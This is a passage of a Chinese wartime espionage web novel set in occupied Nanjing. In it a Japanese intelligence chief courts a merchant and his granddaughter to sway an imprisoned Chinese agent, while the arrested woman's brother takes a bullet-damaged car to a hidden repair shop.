黑木一直在仔细察看陶天阙的细微变化,这时他觉得时机已经成熟,洋洋洒洒说道:“所以今天登门希望得到陶老的相助,我帝国相关部门已拟在南京成立华中矿业总公司,下设两大矿业所,一家在马鞍山,一家在栖霞山,马鞍山矿业所负责马鞍山当地的铁矿冶炼,栖霞山矿业所负责栖霞山地区的锰矿冶炼。如果陶老先生有兴趣,可以参股栖霞山的锰矿开采,我们将就地冶炼,最大限度优化资源,据可靠资料,栖霞山地区的锰矿资源,其锰含量将达到百分之三十以上,到时,陶老先生不但将拥有巨额财富,还会当之无愧地成为皇军在南京的最好的朋友,也会洗刷林赤和曲思秋两位间谍给您带来的耻辱!至于您所持股份份额,这需等我进一步商讨后再定。” 陶天阙听完后紧皱眉头,刚想表态,黑木突然笑着又道:“陶老可以先不必表态,不妨把我的这番话多加思索后再提想法。” 陶天阙想了想还是道:“在这件事上,恐怕黑木将军找错了人!” 黑木连忙摇摇手道:“还望陶老三思而后行,先别急着答复!” …… 曲思冬出了池家,拉着池橙一路急行,向三条巷自家的方向而去。 一路上,池橙好几次甩开曲思冬的手,想和他细谈关于父亲的事情,但都被曲思冬拒绝。 到家后,柳兰看到儿子牵回一个年轻漂亮的女孩,从院子里一直追到房间,急切盘问事情的真相。 曲思冬羞于解释所发生的一切,把池橙带到曲思秋的卧室,撂下一句:“今后,你就睡这间房。”说完后就欲离去,池橙赶紧拽住他的衣袖,撒娇道:“你去哪里?带我一起去吧!”这情景被柳兰尽收眼底,立即面呈喜色,乐滋滋轻声问道:“冬儿,这位姑娘是谁呀?” “她叫池橙,最近一段时间就住在我家……” 池橙听到这儿,脱口道:“阿姨好,我是思冬的女朋友,我叫池橙。” 曲母更开心了,亲昵地拉起池橙的手,摆出一副促膝长谈的样子,却见儿子已匆匆走出屋子,整个人显得魂不守舍,方才挂念起女儿的失踪,便追上前去问道:“有你妹妹的消息吗?” “我正要出门打听呢!” 柳兰脸色马上忧愁起来,半晌说不出话,池橙不敢再提跟曲思冬出去的事,只是深情款款地看着曲思冬,眼眸里透出委屈,迟疑问道:“你准备去哪里?” “再去一下利民诊所,说不定这会儿思秋已经回去了。” “为什么不能让我和你一起去呢?”池橙不放过一丝希望。 “你爸把你托付给我,我就必须对你的安全负责!” 池橙赌气地走进屋子,曲思冬进了自己地房间,和冯勇敢又打了一下招呼,便向利民诊所而去。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第162章 醉翁之意不在酒 渡边对陶楚歌并不陌生,一进诊所,她便从罗蔓和陶楚歌俩人中认出了陶楚歌,远远就笑盈盈说道:“陶小姐,我们又见面了。” 陶楚歌起身,看着忽然闯进的渡边,心中不免忐忑,问道:“渡边小姐到我们小诊所来,不会是哪儿不舒服吧?” “我好得很,倒是陶小姐看起来气色并不好啊!”说话间渡边已来到陶楚歌面前,逼视着陶楚歌渡边继续道:“如果我没记错,你们利民诊所应该还有一位医生的,她叫什么来着?曲思秋?她去哪儿啦?” 渡边目光含笑,一副幸灾乐祸的神情,陶楚歌尽管涉世不深,但已听出了渡边这番不怀好意的话中的弦外之音,立即警惕起来,“曲医生外出办事去了,怎么,您找她有事?” 渡边凝视着陶楚歌的眼睛,长笑几声,这一笑,更坚定了陶楚歌的判断,心中快速盘算,已猜到曲思秋的失踪与眼前的这位女人大有关系,或者起码说,这位日本女人对于曲思秋的失踪一定知道些什么,由于急切想知道曲思秋的下落,陶楚歌便不再回避,毫不犹豫问道:“难道渡边小姐知道我思秋姐去了哪儿?” “她去了哪里我又如何知道?或许她去了她该去的地方……”渡边搪塞着,突然一脸正色,“我按你爷爷的吩咐,来接你回家吃饭了。” 陶楚歌半信半疑道:“既然我爷爷让我回家吃饭,怎敢劳您大驾来接?” “我同时也奉松机关黑木将军之命,此时黑木将军正在陶府和你爷爷热聊呢。” 陶楚歌来到诊所门前,探头张望。诊所的门外的街边上,静静地停着一辆黑色轿车,司机坐在驾驶室正悠闲地抽着烟,两位随行的日本士兵,站在轿车的两侧,目光四处巡视,再看渡边的神情,却也显出一副真诚,不似有诈,看到这里,陶楚歌就转头坦然说道:“好,我跟你走。” 渡边带着陶楚歌刚出了诊所,陶楚歌忽然折身返回,嘴里道:“我有事还需要交代一下。” 陶楚歌径自走向罗蔓,来到她身前悄声说道:“依我看思秋姐八成被日本人抓了,说不定她哥还会上门探问,你如果见到他,不妨直说,让他有个心理准备。” 罗蔓点头。 陶楚歌踏上了回家的汽车。 陶楚歌回到家的时候,陶天阙带着黑木数人已围坐在餐桌旁,菜肴已上齐,酒水也已斟好,陶楚歌看出爷爷一脸阴沉,似乎很不痛快,怯怯叫了一声“爷爷”,静静地站在他的身后,倒是黑木十分热忱,亲自给陶楚歌拉开座椅,嘴里亲切道:“陶小姐,快请入座!”言谈举止间,俨然一副主人的模样。 陶楚歌自从上次在家第一次遇见前来邀请爷爷赴宴的黑木,当时由于牵挂被捕入狱的林赤太甚,向黑木谎称自己是林赤的女友,事后受到了陶天阙的严厉批评,陶天阙对他的这个长孙女首次发火,且发火之大是陶楚歌平素未见,至今还历历在耳。 陶天阙说,你以为这是小孩过家家,可以由着你的性子胡来? 陶天阙说,你以为小日本的南京城最大的特务机关是是一帮乌合之众,可以让你一个黄毛丫头肆意妄为? 陶天阙还说,你这样做,不但救不了林赤,说不定还会害了他,甚至还有可能扯上你!…… 陶楚歌想到这儿,对黑木立即产生了畏惧之意,也有了戒备心理,不敢贸然入座,抬眼看陶天阙,却见爷爷和颜悦色道:“歌儿,黑木伯伯让你坐,你就坐下吧!” 陶楚歌于是在黑木旁边坐下,对黑木勉强挤出一缕笑容,道了声“谢谢”。 陶天阙继续说道:“歌儿,黑木将军特地要你回来陪他吃饭,你要好好聆听他的教诲。” 陶楚歌听出爷爷的意思,他是让她少说多听。 陶楚歌点头。黑木接口道:“教诲不敢当,要说老师,你爷爷是你最好的老师。” 陶天阙未加争辩,招呼众人赶紧用餐。 一番急骤的咀嚼声后,众人在胃中有了及时的援助后,饥饿感烟消云散,顿时显得悠闲起来。 黑木收纳了主人的敬酒,轻呷了一口,目光投向陶天阙,不慌不忙说道:“在本周六,我们皇军将在鼓楼广场举行一次授勋仪式……” 说完又看了看陶楚歌。 他的这句话,表面是说给陶天阙听的,但显然陶楚歌也是他表述的对象。 陶楚歌被黑木的这句话吸引,抬头期待黑木的下文。 陶天阙非常害怕孙女插话,赶紧迫不及待问道:“不知这次授勋仪式上,是哪些人能够得到皇军的最高荣誉?” “具体名单还没有出炉,授勋人员原则上是由皇军驻南京城各机关推举1—2名,最后由司令部拍板并上报东京本部……本次授勋仪式将由我们松机关主持。” 陶天阙津津有味听着。 黑木又道:“我们松机关推举了两位,其中一位就连松井石根大将都无异议,此人就是刚刚归顺皇军的刘云雄。” “众望所归,理应如此!”陶天阙附和道。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我和松井将军已商定好,本次授勋仪式上,将会授予他勋四等旭日小绶章!” “这可是了不起的荣誉啊!”陶天阙佯装一脸艳羡。 黑木见此,满不在乎道:“等我和陶老的生意开始合作后,皇军给予您的荣誉远不止此,恐怕一等旭日大绶章也并不为过!” 陶楚歌终于按耐不住好奇心,问道:“爷爷,您准备和日本人合作什么生意?” 陶天阙皱了皱眉,没有理会孙女的提问。 黑木哈哈笑道:“我和你爷爷合作的生意可是大生意!不过,现在还不方便透露。” 陶楚歌撇了撇嘴,有点不屑。 黑木开始对陶楚歌产生兴趣,接下来的话语完全是针对陶楚歌而言。 “当然,自古以来,荣誉和惩治就是如影随形,有奖必有罚,皇军已决定利用本次的授勋仪式,处决一批冥顽不化的坚定分子,并在当天现场执行,以儆效尤!” 陶天阙连忙举杯敬黑木酒,嘴里不经意问:“处决名单定下了吗?” “处决名单要容易很多,根本无需报批,完全由各机关内定,对于我们松机关来说,主要就是那些屡屡劝说无效、一心和帝国作对的中国特工!”黑木边说边把目光收回,眼睛注视着陶楚歌的表情,陶楚歌果然紧张起来,嘴唇微张,似乎有话要问,但俄顷间又生生地咽回去。 黑木的脸上游过一丝不易察觉的笑意,“尤其那位叫做林赤的,我们对他多次用刑,可收效甚微,如果他再不思悔过,恐怕……”黑木卖了个关子。 陶楚歌焦虑地扭了扭身子,把身体朝前移了移,焦急问道:“恐怕什么?” “恐怕我们松机关也爱莫能助了!”黑木一本正经起来,“咦,陶小姐,你上次不是说那位叫林赤的是你的男友?” 这个问题立即让陶天阙恐慌起来,生怕孙女又要说出一些别出心裁的话来,及时插话道:“歌儿,你去我的书房帮我把那盒雪茄拿来,我想抽烟了!” 陶楚歌却一动不动,只是疑惑问道:“爷爷,你什么时候开始抽烟啦?” 陶天阙悻悻道:“我一直有抽烟的习惯,只是没有在你面前抽而已。” 陶楚歌“哦”了一声,转头对静立身后的老周说:“周伯伯,麻烦你去一趟吧!”说完便将此事抛在脑后,对黑木问答道:“不错,林赤是我的男友,或者说,我一直把他当成自己的男友,但他认不认我为他的女友,我就不知道了,可是……可是你们这样贸然决定处决他……是不是太唐突了!” 黑木耸了耸肩,一副无可奈何的样子,“除非,陶小姐有办法去说服他?” “你们需要我怎么做?”陶楚歌又重燃希望。 “要不,我亲自安排你们见上一面,你去劝说劝说他?” “劝说让他投降?”陶楚歌眉宇紧锁。 “投降这个词对他不合适,依他的性格,他定会排斥这样的说法,我们这次提审他,已对他用了大刑,可是看样子效果并不理想!还是用合作这个词更合适!” 陶楚歌内心不由充斥着满满的自豪感,仿佛百折不挠的那个人就是自己,面露得色,“他哪是那么轻易屈服的人!” “所以,这才需要陶小姐出马啊,你不是和他的关系很亲密吗?就算是你在帮皇军的忙……” 这个时候,陶楚歌必须看她的爷爷了,她的决定必须得到爷爷的授意,她于是把询问的目光射向陶天阙,陶天阙毫不迟疑道:“这个忙我想歌儿倒是最乐意帮的,毕竟,那位叫林赤的年青人还很年轻,自幼父母双亡,无人管束,难免会走一些弯路,如果通过我们苦口婆心的劝说能够让他回头,也算是做了一件好事!” “说的极是!只要能让他合作,也不枉陶老的一片苦心!我这就安排下去,你们随时可以去老虎桥监狱见他!” 黑木说完对渡边耳语一番,又一口饮干杯中剩酒,起身道:“时间不早了,我们也该走了,下午我们还有很多重要的事要做!” 陶天阙等人也纷纷立起,来到餐厅外,在偏房用餐的日军随众也立刻结束了用餐,一窝蜂涌出,先行出了院门,开始做出发的准备。陶天阙把黑木众人送到院外,双方客套告别,临行前,黑木不忘他和陶天阙即将的生意合作,俯首在陶天阙耳边道:“陶老,那笔生意可是豪利啊,你可以好好思量思量!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第163章 黑木的伎俩 站在院门前目送着黑木一行离去后,陶天阙的脸色又恢复了阴沉,陶楚歌看在眼里,不安问道:“爷爷,我有没有说错什么?” “你是一个好孩子。” 陶天阙牵起孙女的手进了院子。 陶楚歌跟在他的身后,并未立即离开,俩人在亭台中的一张长椅上坐下,陶楚歌一边帮爷爷捶肩一边说道:“这么说,爷爷您不反对我去见狱中的林大哥?” 陶天阙沉思着半晌回答道:“本周六的授勋仪式上,说不定丧心病狂的日本人确会杀些人来震慑南京的市民,黑木鬼子的话或许是真的……如若如此,林赤岌岌可危,他是个有担当的小伙子,依他的性格是不会轻易屈服的,这一点你也应该清楚,就怕你幼稚懵懂,林赤不会把你的话放在心上……”陶天阙说着长叹一声,“我又何尝不想救他,这么优秀的一个小伙子,如果就这么被鬼子杀了,实在可惜!只是要劝服他和鬼子合作,岂是易事?” “我觉得不难!”陶楚歌站起走到陶天阙的面前,一本正经道:“可以让他假投降啊!大丈夫能屈能伸,留得青山在不愁没柴烧,只要离开了监狱,实在不行就找机会远走高飞,天下之大,鬼子又如何能够抓到他?” 陶楚歌得意洋洋向爷爷献计。 “你说得倒轻巧,世上哪有这么便宜的事?” “为什么行不通?” “你听说过‘投名状’的典故吗?”看到孙女摇头,陶天阙继续道:“《水浒传》中的林冲上梁山入伙,王伦怕引火烧身,欲重金送他下山,把他打发走,林冲不解,总以为身犯死罪,对方不会起疑,可最后还是需要他下山杀人,将头献纳,纳投名状,这是江湖中互信的基本条件!同样,这也是情报战线的潜规则,林赤如果要入日本人的伙,他必须踩着别人的肩膀,没有一些有价值的情报,鬼子又如何能轻信他?因此,所谓的假投降可不是如你口头说说那么简单,是必须有人要为此付出生命代价的!” 陶楚歌脸色凝重,气急问道:“那爷爷您说怎么办?总不能眼睁睁看着林大哥被鬼子处决吧?” …… 回松机关的路上,酒足饭饱的松机关的机关长黑木瞳将军倚坐在轿车的后座椅上,他的身旁坐着渡边。 渡边有一事不解,但看到黑木微闭着眼睛,似乎正在小寐,不想打扰他,正要把脸转向窗外,忽听黑木问道:“抓捕曲思秋现场的那辆轿车查出眉目了吗?” “报告将军,这辆车的车牌是假的,并不属于我们刚施行颁发的统一车牌,准确说,还是沿用原先国民政府的车牌,显然被人为做了手脚,所以无法追查。” “我们接管南京城后,所有的车辆不都登记在册了吗?” “是的,我安排人去过军部的车辆管理科,但一点线索都没有。”渡边若有所思道:“或许,这是一辆趴在汽车修理厂的坏车,被人重新修理后投入了使用。” “既然渡边小姐想到了这点,不妨从南京城民间的汽车修理厂入手,也许会发现些什么,毕竟,这座城市的汽车修理厂屈手可数。” “是将军,我回去后马上安排。” 这一番对话后,黑木立即显得精神抖擞起来,坐正身子,对渡边又吩咐道:“今早出发之前,接到司令部命令,由我们松机关负责主持本周六的授勋仪式,地点定在鼓楼广场,还有几天时间,你组织人着手筹备。” “好的将军。现场的安全保卫工作怎么做?” “这一点你尽管放心,安全保卫工作是南京警备司令部的事,与我们无关,不过,你需要协同他们的工作……”黑木看了一眼窗外,补充道:“本次授勋仪式上,将有帝国军方高层参与,确保现场保卫万无一失!” 渡边想起心中的疑问,此时说出恰如其分,便说道:“将军,您真的推举刘云雄参加本次授勋?松井将军果真同意授予他勋四等旭日小绶章?您可知道,这样的荣誉是多少帝国军人梦寐以求的啊!这样做会不会太草率了?他毕竟刚刚归顺帝国,没有任何功绩,恐其他人不服!” 黑木借机拍了拍渡边的肩膀,将身体朝她身旁挪了挪,语重心长说道:“渡边小姐,你只是看到了事情的表象,却忽略了这件事的本质,如果我们把这样的至高荣誉赐予一名刚刚投降了帝国的中国军人,那它本身的意义何其深远,你试想一下,如果我们通过这件事大做文章,利用舆论广泛造势,有三点好处,其一:将会动摇敌人阵营的高级将领,对那些彷徨不定的骑墙派将会起到莫大的鼓舞;其二:对敌人的战斗意志也会起到很好的瓦解作用;其三,就刘云雄本人而言,选择一个公开的场合宣布他和帝国的合作,也会让他和他的过去一刀两断,使其铁心为我所用!” 渡边尽管情有不甘,但不再做声。 “所以,本次的授勋仪式上,我们要尽量让刘云雄成为主角,这也是松井将军的意思,毕竟他的身份和地位不俗。”黑木看了看表,又说:“此时川上君理应和刘云雄已回到了松机关,不知松井将军见过他之后有没有什么新的安排?” 本小章还未完,请点击下一页继续阅读后面精彩内容!渡边心里依旧无法平衡,不想再说这事,就转移话题,问道:“将军为何要把陶楚歌这个不谙世事的丫头片子牵扯到林赤的这个事件中来,毕竟那位曲思秋极有可能是他的女友,用她来掣肘林赤。难道不是最好的人选?” 黑木得意道:“渡边小姐有所不知,我们帝国即将和陶天阙合作一桩大生意,陶天阙这个傲慢的老儿一直特立独行,不太好摆布,如果能够把他最疼爱的孙女牵扯进来,对他来说,岂不是投鼠忌器?那还不由得我们牵着鼻子走?” 短暂的谈话后,黑木一行已经驶进松机关,车在憩庐前停好,黑木率先下了车,果见川上麻衣载送刘云雄的轿车已停在门前的空地上,知道他们已经回来了,便匆匆进了憩庐。 一楼的会客室里,刘云雄见到黑木,连忙起身相迎。 黑木远远伸出右手,走近刘云雄和他紧紧相握。 “刘将军辛苦!” “黑木将军辛苦!” 一直陪同着刘云雄的川上中佐边起身边说道:“将军,松井将军已接见过我们,他对刘将军能和我们合作很满意,并和刘将军进行了长谈。” 黑木问:“松井将军对刘桑有没有具体上的安排?” 川上答道:“关于刘将军的新职务,松井将军已心中有数,他让我捎话给您,希望黑木将军改日去司令部和他详谈。” 黑木颔首。 “刘桑能否移步到我办公室一叙?” 来到黑木的办公室,黑木关上房门。 刘云雄看到自己的手书“慎独”二字已裱好悬挂在办公室对面的墙壁上,面对自己的墨宝,刘云雄伫立一旁,陷入了久久的沉思。 黑木亲自给刘云雄沏好茶,看到刘云雄还在墙前发愣,笑问道:“刘将军在想些什么呢?” 刘云雄脸上游过一丝不易察觉的愧色,喃喃道:“没想到我刘云雄今天能够和黑木并肩携手,这是一件多么匪夷所思的事情。” “刘将军千万别这么想,历史终将证明你的选择何等英明!” 刘云雄显得有些木讷道:“背弃自己坚持的信仰,终究觉得内心苍凉!” “我承认这是你心中一道不可短时逾越的坎,但刘将军不可太介怀!” 刘云雄率先坐下,端起茶杯猛喝了一口滚烫的热茶,生生吞咽下肚,然后把茶杯放在茶几上,毅然道:“这条路是我自己选择的,既然如此,即使等待我的是刀山火海,我也义无反顾!” “但愿刘将军能够很快适应自己的新角色!”黑木缓缓吐出几个字。 “我们中国有句古话,观其行而知其言,闻其言而知其心,希望在今后能够在工作中得到黑木将军的勉励好鞭笞,鄙人不胜感激!” “一定一定!”黑木干笑两声,话锋一转,问道:“今天上午去见松井石根大将,不知他和阁下都聊了些什么?” “我们的相谈还算甚欢,松井将军不计前嫌,对本人还算客气,当然,他给予我的更多的是鼓励!” “哦,松井将军一向平易近人,除了这点,他对和帝国合作的人从来信任有加。” “我们谈了很多,但主要是关于我的人事安排……” 黑木打断刘云雄,“将军怎么说?” “他有了初步的想法,就是打算在南京城新建一支由中国人组成的部队,名称还没想好,不过他提议叫南京警卫军,或者叫南京治安军,当然名字不重要,重要的是他有让我当这支武装的司令的想法,就冲这一点,我非常感激他,他似乎并不在乎我的过去!” “这支武装人员编制多少?” “还没有聊到这么细,不过他的提议就是收拢和招募国军的溃兵,这些散兵游勇流落社会,将会给本地的治安带来很多不确定性因素……还有,他还提到老虎桥监狱的在押犯人中绝大数的国军,他认为那也是新建部队的有生力量!” “那感情好,让中国人管理中国人,不失为当前的良策!”黑木赞道。 刘云雄连声附和。 黑木又道:“本周六我们帝国在鼓楼广场将会举办一场授勋仪式,在本次仪式上,阁下将会受领帝国赋予您的高贵荣誉,给您授予一枚勋四等旭日小绶章,到时阁下您将会受到万人敬仰,也会成为你们中国人心中的民族英雄!” 刘云雄愣了一下,旋即道:“我一事无成,实在受之有愧!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第164章 改装嫌疑车 曲思冬在前往利民诊所的路上,穿过太平路时,忽然发现街上一面墙前,围着很多人,好奇心驱使他前往看个究竟,走近一看,原来是一张协查告示。 告示上落款是日军南京宪兵司令部,并加盖着印章,内容是昨夜子夜时分,在南京西康路附近,有匪患作乱,驾着一辆黑色轿车,皇军巡逻部队对其进行例行盘查,嫌疑车辆拒绝配合,皇军果断行抓捕措施,嫌疑车突然启动逃窜,皇军立即围剿,对方负隅顽抗,结果车上驾车的男匪被当场击毙,另一女匪束手就擒! 告示中被擒女匪并未过多表述,重点是协查暴毙的男匪身份,除此之外,还附有一张此人死亡时的照片,号召见过此人或了解此人详情的南京市民踊跃提供线索,皇军将重金犒赏等等。 曲思冬看到这儿,并未逗留,继续朝着利民诊所而去。 途中,他在多条街上又见到相同内容的告示,曲思冬如坠冰窖,他开始只是疾行,后来脚步不由急骤起来,再后来,他开始在街上狂奔! 眼泪迷糊了他的双眼,周围的一切情景在他的眼前变幻着。 耳边是呼呼的风声。 他的心莫名地破碎了,四散的玻璃渣充斥着胸腔每一处角落,刺得他钻心的疼。 显而易见,告示中的那名女匪就是自己的妹妹曲思秋! 池碧疆的描述和告示中的内容完全吻合,当然,鬼子不可能把所有的细节公布于众,但据池碧疆所言,这晚曲思秋确实是和一位同志在执行一件秘密任务,他们是共乘一辆轿车。更主要的是,妹妹失踪的时间和告示里所说的案发时间完全存在合理的内在联系。 如果说,当曲思冬看到第一张告示时,感情上还是不愿接受现实,但当他接连看到了多张同样的告示后,理智已让他不得不接受现实。 此时此刻,在曲思冬的心里,尽管还稍存着一丝侥幸,但这样的侥幸犹如肥皂泡一样,是如此脆弱不堪一击。但不管如何,他还必须亲自去一趟利民诊所,看一看妹妹到底回去没有,哪怕它是何其渺茫! 一口气跑到利民诊所的门前,曲思冬已大汗淋漓。 利民诊所的大门虚掩着,曲思冬不假思索几乎是撞门而入。 诊所里或坐或站着三人,看到忽然闯入的不速之客,便把惊愕的目光投向了曲思冬。 这三人曲思冬都认识,一位是罗蔓,一位是陶楚歌,一位是赵楷。 人群中没有妹妹曲思秋的身影,曲思冬彻底绝望了。 三人发现来人是曲思秋的哥哥,脸上均立即显现出悲悯之色,罗蔓几乎不敢正视他的眼睛,不由低下了脑袋。陶楚歌欲言又止,她没有勇气把曲思秋被捕的消息第一个告知她的哥哥曲思冬。赵楷率先勇敢地迎着曲思冬的目光,站起身来,吞吞吐吐道:“曲兄弟……你怎么来了?” 曲思冬从他们的神色中已猜出一二,脱口问道:“是不是思秋被日本人抓了?!” 赵楷无声点头。 陶楚歌补充道:“是鬼子的松机关抓的,现在正关在老虎桥监狱。” “你们怎么知道?” “松机关的机关长黑木瞳亲口告诉我爷爷的,当时我就在旁边。”陶楚歌看到曲思冬脸上布满疑色,连忙又解释道:“今天中午,这位黑木带着一帮日本人来到我家找我爷爷,看样子他好像有什么事求我爷爷帮忙,就无意说出了此事……” 曲思冬不耐烦打断了她,“日本人找你爷爷会有什么事?” “我也纳闷,据吃饭时候他们的口风,似乎是生意上的事,但我爷爷显得很为难,他们走后,我爷爷一直闷闷不乐,问他他也不告诉我。” 曲思冬冷冷地哼了几声,不再理她,陶楚歌看出他的心事,又急忙辩解道:“你不要误会,这家诊所是我爷爷开办的,曲思秋是我出面请来的,她出了事,我们一家都脱不了干系!” 赵楷跟着安慰曲思冬道:“陶会长对你妹妹的被抓很难过,包括林赤在内,他一直极力在想办法营救呢!” “那他想出办法了?” 赵楷一时语塞,闷头不再做声。 “在我看来,日本人这是在利用他罢了,国破家亡之际,但凡给鬼子提供任何帮助,那都是为虎作伥,为国人所不齿!” 陶楚歌看到曲思冬咄咄逼人的样子,心中忽然就窜起一股火气,连珠炮般责问道:“你是哪根葱啊?用得着你来教训我们?林赤大哥没被抓的时候,也没说过这样的话,你有火气找日本人去,这满大街都是鬼子,如果你有枪,保你一枪一个,绝不含糊!何必在这儿阴阳怪气?” 曲思冬咬牙切齿道:“我会的,只要小鬼子伤害了我妹妹,我保准闹得他们鸡犬不宁!”说完扭头就走。 赵楷追上去,一把拉住曲思冬的衣角,劝慰道:“曲兄弟息怒,楚歌也就这么一说,没有恶意,你千万别往心里去!” “我跟她个小丫头片子斗什么气!” “说什么呢?谁是小丫头片子?”陶楚歌气不打一处来,冷笑道:“瞧你这讲话的语气,好像满世界就你一个能人,整个一个人五人六的样子,啧啧,你很了不起吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容!斗嘴并非曲思冬的所长,他沮丧起来,“看在你是我妹妹的好朋友的份上,我不和你胡搅蛮缠了!” 陶楚歌立即回敬道:“看在你是我好朋友的哥哥的份上,我不和你一般见识了!” 罗蔓伸手拽了拽陶楚歌,暗示她就此作罢。 曲思冬顿时有些泄气,拍了拍赵楷的肩,说道:“我走了,我还得想方设法救我妹妹。” 赵楷点了点头,看到曲思冬额头上的汗渍问道:“你是怎么来的?” “步行。” “靠两条腿多不方便!”赵楷沉思着忽然想起一事,说道:“我有辆车,车是一辆好车,35年款福特轿车,不过……” “不过什么?” “这辆车出过命案,日本人曾追查过这辆车!”赵楷看到曲思冬期盼的神色,便一五一十将这辆车的详细来历说与他听了。 “原来赵兄还和我那位林兄弟干了这等惊天动地的大事!”曲思冬由衷感叹道,俩人的关系因这段经历又拉近了一层。 “这辆车损毁严重吗?”曲思冬问。 “挡风玻璃和车窗都有不同程度的破损,最重要的是,车身上有弹痕!但是发动机完好无损……”说到这儿,赵楷突然一拍脑袋道:“真是糊涂,找家修理厂修一下不就行了吗?” 曲思冬眼睛一亮,“如今的南京城里,还有汽车修理厂?” “有!我就认识一家修理厂的老板。” 曲思冬兴奋起来,迫不及待问:“这家修理厂叫什么名字?” 曲思冬比自己还要兴奋,这一点赵楷完全理解,笑答道:“平安汽修厂。” “哦?平安汽修厂?原来是在汉中路的那一家?” “曲兄弟也知道这家汽修厂?”赵楷试探道。 曲思冬很快恢复了平静,“日本人还没有打进南京城的时候,就听说过这家汽修厂。” “嗯……不过南京城沦陷后,这家汽修厂已经搬迁了,搬到了水西门附近。” 曲思冬的眼里不经意流露出一丝激动,但很快掩饰起来,淡淡说道:“那还请赵兄送佛送到西,帮忙帮到底,改日陪我去打理一下车,我确实需要这辆车!” “没问题,今天就专办此事,等天一黑我就带你去!这辆车太显眼,白天不宜动它。” …… 夜,如约而至。 如约而至的还有赵楷。赵楷早早地将陶楚歌送回了家,在暮色四合的时候,驾车回到了利民诊所。 曲思冬待在诊所二楼一直等着赵楷前来接他,当他听到那辆熟悉的汽车喇叭声后,知道赵楷而至。下楼吩咐罗蔓关严大门,便出了诊所。 赵楷并未多言语,驾车载着曲思冬穿过两条大街,便拐进了一条弄堂里,这条弄堂相比其它的要宽得多,只行进了一百米不到,曲思冬看到了一处废弃的仓库。 “这是我们赤盟会陶会长的一处仓库。”赵楷解释道。 仓库的铁门紧锁,赵楷下车撬开了门上的铁链,洞开大门,挥手示意曲思冬驾车,自己指挥,让他把车开进院内。接着赵楷跑到一间仓库门前停下,打开虚掩的铁锁,推开了厚重的铁门。 曲思冬拧亮手电,跟在赵楷身后,二人进了仓库。 紧靠仓库大门的右侧,一处物体上面覆盖着厚厚的油布,赵楷上前与曲思冬合力掀开,一辆黑色的轿车车身赫然出现在两人的面前。 是一辆35年款的水星福特轿车。 驾驶舱下的车身上尚有斑斑血迹,颜色已发黑。轿车上的玻璃没有一处是完整的,在引擎盖上和车门等处,均有凹陷进去的弹痕,看得出这是一辆久经磨难的汽车,曲思冬完全可以感知到这辆车曾经发生过什么! 赵楷跳上汽车,立即打火,汽车很快被发动,从圆润的发动机声可以听出这辆车的动力完好无损。 赵楷徐徐把车开出仓库,在门前停下,并让出道来,让曲思冬把自己的那辆车开了进来。 重新关上仓库大门,赵楷带着曲思冬把那辆水星款福特轿车开进了茫茫的夜色中,打开汽车大灯,二人向着水西门的方向一路疾行而去。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第165章 不普通的汽修厂 一出巷子,赵楷立即加大了油门,轿车在空旷无人的街上开始狂奔。 数分钟后,轿车穿过了汉中路,右拐进了虎踞路,灯光渐渐稀落起来,当汽车驶过水西门旁护城河上的一座狭长的石板桥后,四周已无一丝光亮,浓稠的夜色扑面而来,刺骨的寒风倒灌进了缺失了挡风玻璃的车内,荡涤而尽二人身上仅有的暖意。 曲思冬不由紧紧裹住上衣。 出了水西门桥,西行五百多米,轿车在一排排黑黝黝的房子中间的一条小路附近减慢了车速,赵楷迟疑片刻,将车缓缓拐了进去。 “这么晚了,汽修厂还有人吗?”曲思冬不无担忧地问道。 “你放心吧,我白天已打过电话给他们老板。” 沿着这条坑坑洼洼的石子路向里又开了数百米,赵楷在一处红砖房子前停了下来,两排房子的中央是两扇锈迹斑斑的双开铁门,铁门上方亮着一盏昏黄的白炽灯。 此时铁门紧闭。 赵楷跳下车,毫不犹豫地跑到铁门一侧的一间低矮的房子前,抬手轻轻敲了几下房门。 不一会儿,房内的电灯被人点亮,一个身影很快出现在窗户前,屋内出现一个老态的男声,“有事吗?” “修车的。我和你们李老板约好的这个点过来的。”赵楷连忙答道。 窗户很快打开,一个六七十岁的老人把脑袋探了出来,打量了赵楷一眼,又看了看不远处的尚未熄火的轿车,咕哝道:“你的汽车不是好好的吗?” “发动机完好,但还有些小毛病需要打理一下。”曲思冬赶紧补充。 老人迅速关上窗户,提着一把手电开了门,匆匆来到铁门前,掏出钥匙打开铁门,并彻底推开。然后老人挥手示意让他们把车开进去。 按老人的指挥,曲思冬驾车把车开进车间停好,下了车的曲思冬迫不及待叫住老人,问道:“这辆车什么时候可以修好?” 老人有些不耐烦回答道:“我只是个看门的,其它的要问我们李老板。” “你们李老板叫什么名字?” 老人讶异道:“你既然知道我们修理厂,怎么会不知道我们老板的名字?” 身后的赵楷忙解释道:“是我跟你们李老板联系的,他并不知情……”说着对曲思冬道:“你就放心吧,不会耽搁你用车的,这辆车的情况我电话里已和李老板说了,他让我们明天这个时候来拿车。” 曲思冬“嗯”了一声,又想起什么,“多谢赵兄了,明天晚上就不麻烦你了,我一人前来提车。”说着曲思冬又问老人:“明晚你家李老板会在吗?” …… 这是一个阳光明媚的早晨,憩庐门前的那棵雪松上已不见积雪,早起的鸟儿在上面不停地啁啾,吵得黑木了无睡意。 起床后的黑木围着憩庐慢跑了十数圈,然后洗漱一番,在去食堂的路上,他遇到了渡边雪奈小姐。 渡边主动迎了上来,远远就向黑木问好。 黑木也热情地和渡边打招呼,却见她一脸兴奋,神秘兮兮道:“将军,昨晚宪兵司令部传来消息,那晚被击毙的司机身份已得到了确认!” “就是那位曲医生的同伙?” “是的将军!昨天这个消息来得太晚,我就没有打扰你……” “这个消息真是今天一天最美好的开端!”黑木深情的感叹道,“他的身份是?” “据知情人透露,他叫牛玉高,今年二十五岁,本地人……”说到这儿,渡边故意卖了个关子,“这个人的身份,将军可能根本想不到!” 黑木却未表现出渡边雪奈预期的好奇,只是现出少许急切,说道:“渡边小姐快说!” “他是鼓楼区公所的职员。”渡边一说出便目不转睛盯着黑木,果然,黑木的脸上开始密布疑问,“你是说,池碧疆的鼓楼区公所的职员?” “没错!” “这么说,池碧疆应该认识此人?” “我想应该是的。” 